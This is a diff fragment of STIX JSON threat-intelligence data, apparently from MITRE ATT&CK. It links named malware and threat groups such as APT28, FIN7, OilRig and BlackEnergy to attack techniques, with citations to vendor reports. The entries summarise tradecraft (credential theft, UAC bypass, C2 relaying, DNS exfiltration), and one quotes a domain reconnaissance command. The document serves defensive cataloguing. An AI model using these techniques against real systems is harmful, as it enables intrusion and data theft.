}, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967", + "description": "[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).(Citation: Cisco H1N1 Part 2)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2019-04-29T18:23:16.039Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3", + "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-18T14:51:57.953Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2020-06-02T16:14:00.488Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can use a SOAP Web service to communicate with its C2 server.(Citation: Unit 42 Magic Hound Feb 2017)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:19:17.635Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5e39caf2-083b-4e4c-b04f-d83c512341cb", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net.exe in a script with net accounts /domain to find the password policy of a domain.(Citation: FireEye Targeted Attacks Middle East Banks)", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "modified": "2020-03-18T20:18:02.930Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", + "description": "Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved April 5, 2018.", + "source_name": "FireEye Targeted Attacks Middle East Banks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. [APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.(Citation: FireEye APT28)(Citation: Bitdefender APT28 Dec 2015)(Citation: DOJ GRU Indictment Jul 2018)", + "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "modified": "2020-03-30T01:58:35.103Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.038Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. 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Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:27:24.610Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "source_name": "Morphisec FIN7 June 2017" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "source_name": "FireEye FIN7 Aug 2018" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b22e151c-4919-4160-9f5c-143484948003", + "description": "[Comnie](https://attack.mitre.org/software/S0244) collects the hostname of the victim machine.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-17T00:43:32.019Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8df1d2c-f014-4f51-a277-8050adafb865", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "modified": "2020-03-16T23:55:30.097Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "modified": "2020-08-03T16:47:37.375Z", + "source_ref": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.021Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "modified": "2020-03-24T14:09:11.761Z", + "source_ref": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.025Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8140f09f-af3b-45e1-ae7c-f2dc85b8930e", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform screen captures of the victim\u2019s machine.(Citation: Unit 42 VERMIN Jan 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-03-16T19:50:58.020Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.(Citation: Palo Alto OilRig May 2016)", + "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "modified": "2019-09-04T22:55:41.325Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.(Citation: Palo Alto MoonWind March 2017)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-03-16T17:16:53.513Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777", + "description": "[Elise](https://attack.mitre.org/software/S0081) communicates over HTTP or HTTPS for C2.(Citation: Lotus Blossom Jun 2015)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:04:16.878Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. 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(2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--69127424-40bb-4b92-8558-6fe1561e0a59", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers file and directory information from the victim\u2019s machine.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-04-21T23:09:31.867Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.(Citation: FireEye APT32 May 2017)", + "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "modified": "2020-03-16T18:30:14.861Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. 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Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e27ebd5b-4ed3-4c04-96e3-026bd127ed64", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) identifies network drives when they are added to victim systems.(Citation: Securelist Sofacy Feb 2018)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2019-07-17T01:18:32.763Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:39:48.381Z", + "external_references": [ + { + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. 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Retrieved December 2, 2020.", + "source_name": "Trend Micro MacOS Backdoor November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2910f5f5-38d6-418a-8566-23d31b93b124", + "description": "[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim\u2019s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-04-24T20:56:04.719Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T20:01:45.460Z", + "external_references": [ + { + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/", + "description": "Shulmin, A., Yunakovsky, S. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.(Citation: PWC Cloud Hopper April 2017)", + "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "modified": "2020-03-17T16:55:08.254Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. 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Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017" + }, + { + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. 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Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9600732-9116-4325-8073-28d81721b37a", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2019-09-03T18:50:16.920Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ac167a2-e2b4-4b66-96a1-521468d5784c", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can spawn remote shells.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:03:18.944Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.(Citation: Volexity PowerDuke November 2016)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-04-22T22:31:38.479Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23d16034-a2eb-40ef-857b-63708e63bf9a", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim OS version and whether it is 64 or 32 bit.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-09-16T18:01:16.141Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.(Citation: ESET RTM Feb 2017)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-05-12T22:13:16.854Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. 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Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0", + "description": "[APT32](https://attack.mitre.org/groups/G0050) uses [Cobalt Strike](https://attack.mitre.org/software/S0154)'s malleable C2 functionality to blend in with network traffic.(Citation: FireEye APT32 May 2017)(Citation: GitHub Malleable C2)(Citation: Cybereason Cobalt Kitty 2017) The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019) Additionally, one of the group's macOS backdoors implements a specific format for the C2 packet involving random values.(Citation: ESET OceanLotus macOS April 2019)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2019-07-17T13:11:38.440Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile", + "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", + "source_name": "GitHub Malleable C2" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019" + } + ] + }, + 